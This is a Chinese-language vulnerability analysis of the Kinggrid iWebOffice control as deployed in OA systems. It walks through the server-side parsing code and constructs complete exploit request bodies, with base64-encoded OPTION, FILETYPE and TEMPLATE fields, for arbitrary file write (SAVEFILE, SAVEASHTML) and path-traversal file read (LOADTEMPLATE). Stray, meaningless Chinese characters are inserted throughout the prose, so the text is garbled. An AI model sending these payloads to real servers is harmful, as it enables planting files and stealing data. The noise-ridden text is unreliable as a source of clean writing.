前言
眾所周知靶溜,多個oa中都使用了金格iWebOffice控件昌犹。但在不同的oa中exp多少存在差異性盏档,嘗試從代碼層一探究竟般哼。
簡介
金格iWebOffice控件是一種文檔控件窃判,能夠在瀏覽器上進(jìn)行編輯word文檔钞楼、excel表格等文檔最終保存在服務(wù)器上,手寫簽名袄琳、電子簽章廣泛應(yīng)用于此询件。所以oa都喜歡使用。
漏洞分析
以某oa為例唆樊,本地搭建OfficeServer.jsp進(jìn)行訪問宛琅。
首先創(chuàng)建iWebOffice類的實(shí)例,officeServer對象調(diào)用ExecuteRun方法逗旁。并傳入request嘿辟、response。
在ExecuteRun方法里,會創(chuàng)建出數(shù)據(jù)庫對象和創(chuàng)建信息包對象红伦。
iMsgServer2000 方法里DBSTEP V3.0
字符串賦值為this._$906
英古,this._$903
創(chuàng)建出臨時(shí)文件。
而后調(diào)用deleteOnExit方法刪除臨時(shí)文件昙读。
回到ExecuteRun方法里召调,往下判斷請求方法是否為Post請求。
即必須使用Post方法進(jìn)行請求箕戳。
當(dāng)使用Post方法請求時(shí)某残,首先進(jìn)入MsgObj.Load方法。跟進(jìn)該方法陵吸。
一個修改編碼的操作,然后調(diào)用了_$1027
方法介牙。
在該方法里以輸入流的方式一次性讀取到mRead壮虫,而后從mRead中讀取64位長度保存到HeadString字符串中。
接下來截取HeadString字符串的0-15位賦值為 this._$906
环础,16-31位賦值為BodySize(int類型)囚似,32-47位賦值為ErrorSize(int類型),48-63位賦值為this._$907(int類型)
即FileSize线得。
代碼走到這個地方饶唤,我們可以嘗試初步構(gòu)造一下這64位長度。
aaaaaaaaaaaaaaaa1 2 3
debug 跟蹤一下
和我們計(jì)算的一樣贯钩。
然后mRead會繼續(xù)讀取BodySize大小的數(shù)據(jù)并賦值為this._$904
募狂。
再往下,如果ErrorSize大于0角雷,mRead會繼續(xù)讀取ErrorSize大小的數(shù)據(jù)并賦值為this._$905
祸穷。
再往下,如果FileSize大于0勺三,會創(chuàng)建出this._$903
輸出流雷滚,并最終寫入文件。
再往下吗坚,如果FileSize小于BlockSize祈远,mRead會繼續(xù)讀取FileSize大小的數(shù)據(jù)并寫入mWite。
到這里商源,我們可以對數(shù)據(jù)格式進(jìn)一步調(diào)整车份。
aaaaaaaaaaaaaaaa8 2 3 bbbxxccc
至此MsgObj.Load方法就分析了,我們發(fā)現(xiàn)有一個文件寫入的操作炊汹。但我們需要尋找可控制的參數(shù)來實(shí)現(xiàn)它躬充。
現(xiàn)在回到OfficeServer.jsp頁面中。
都用到了GetMsgByName方法。
該方法里判斷this._$904
里是否存在mFieldName充甚,即DBSTEP=
以政,如果存在才會進(jìn)入if語句。而后以\r\n
分割伴找,并對值進(jìn)行base64解碼盈蛮。
基于這個條件,我們完善我們的數(shù)據(jù)格式技矮。
aaaaaaaaaaaaaaaa13 2 3 DBSTEP=MTEx
xxccc
再次回到OfficeServer.jsp中抖誉,因?yàn)槎际怯蒅etMsgByName方法獲取的FieldName。我們依次構(gòu)造一下衰倦。
DBSTEP要等于DBSTEP袒炉,即DBSTEP=REJTVEVQ
aaaaaaaaaaaaaaaa48 2 3 DBSTEP=REJTVEVQ
FILENAME=
OPTION=
USERNAME=
xxccc
option可以理解為操作的方法,分別對應(yīng)不同的if else語句樊零。當(dāng)option為SAVEFILE時(shí)我磁,為保存文件到服務(wù)器。
依次構(gòu)造出RECORDID驻襟、FILENAME夺艰、FILETYPE。
再往下一個參數(shù)isDoc沉衣,當(dāng)isDoc為true是郁副,會保存到文件夾。保存的位置由moduleType定義豌习。
此時(shí)數(shù)據(jù)格式為
aaaaaaaaaaaaaaaa127 2 3 DBSTEP=REJTVEVQ
FILENAME=
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=
FILETYPE=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
再往下就看到保存文件的操作了存谎。
MsgFileSave方法實(shí)現(xiàn)了將this._$903
復(fù)制到FileName
。
可以發(fā)現(xiàn)FileType由可以控制的斑鸦,即可以控制FileName
愕贡。
比如FileType賦值為information,文件就會保存到/upload/information/
exp即為:
aaaaaaaaaaaaaaaa138 2 3 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=MQ==
FILENAME=
FILETYPE=MS50eHQ=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
成功寫入巷屿,現(xiàn)在只保留必須的參數(shù)即是exp固以。
aaaaaaaaaaaaaaaa101 3 4 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
FILETYPE=MS50eHQ
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxx1111
總結(jié)一下:
exp總共是4部分。
1嘱巾、必須是64位的HeadString憨琳。即this._$906
+BodySize
+ErrorSize
+this._$907
aaaaaaaaaaaaaaaa101 3 4
2、進(jìn)行寫入文件的必備參數(shù)旬昭。即
DBSTEP=REJTVEVQ\r\nOPTION=U0FWRUZJTEU=\r\nFILETYPE=MS50eHQ\r\nisDoc=dHJ1ZQ==\r\nmoduleType=aW5mb3JtYXRpb24=\r\n
計(jì)算該字符串長度即是BodySize
3篙螟、讀取ErrorSize部分的字符。即xxx
问拘,為3位ErrorSize
4遍略、讀取this._$907
部分的字符惧所,即1111
,為4位this._$907
在整個過程里绪杏,需要注意的是
1下愈、字符串長度的計(jì)算最好使用代碼實(shí)現(xiàn),編輯器存在誤差蕾久。
2势似、因?yàn)?code>FILETYPE的可控,完全可以寫入任意路徑僧著。
3履因、HeadString部分滿足64位即可,不需要一定存在DBSTEP V3.0
以上就是當(dāng)OPTION為SAVEFILE的利用盹愚,思考一下其他OPTION會存在漏洞嗎栅迄?SAVEFILE操作產(chǎn)生漏洞的關(guān)鍵就是用了MsgFileSave
方法且mFileType
可控。依據(jù)這個思路尋找其他操作杯拐。
如SAVEASHTML
操作時(shí)也出現(xiàn)了MsgFileSave
且mHtmlName
可控霞篡。
構(gòu)造一下exp
aaaaaaaaaaaaaaaa65 3 4 DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=MTIzLnR4dA==
xxx1111
成功寫入。
除此之外端逼,還有SAVEASPAGE、PUTFILE等操作均可以污淋。
在LOADTEMPLATE操作中顶滩,還存在一個MsgFileLoad
任意文件讀取。構(gòu)造一下exp
aaaaaaaaaaaaaaaa111 0 0 DBSTEP=REJTVEVQ
OPTION=TE9BRFRFTVBMQVRF
COMMAND=SU5TRVJURklMRQ==
TEMPLATE=Ly4uL2luZm9ybWF0aW9uLzExLnR4dA==
但該漏洞只適用于windows環(huán)境下寸爆。
因?yàn)閘inux在處理路徑分隔符時(shí)有一些差異礁鲁,無法找到該文件。
在windows下可正常讀取赁豆。
總結(jié)
繪制一張粗糙的流程圖回顧一下仅醇。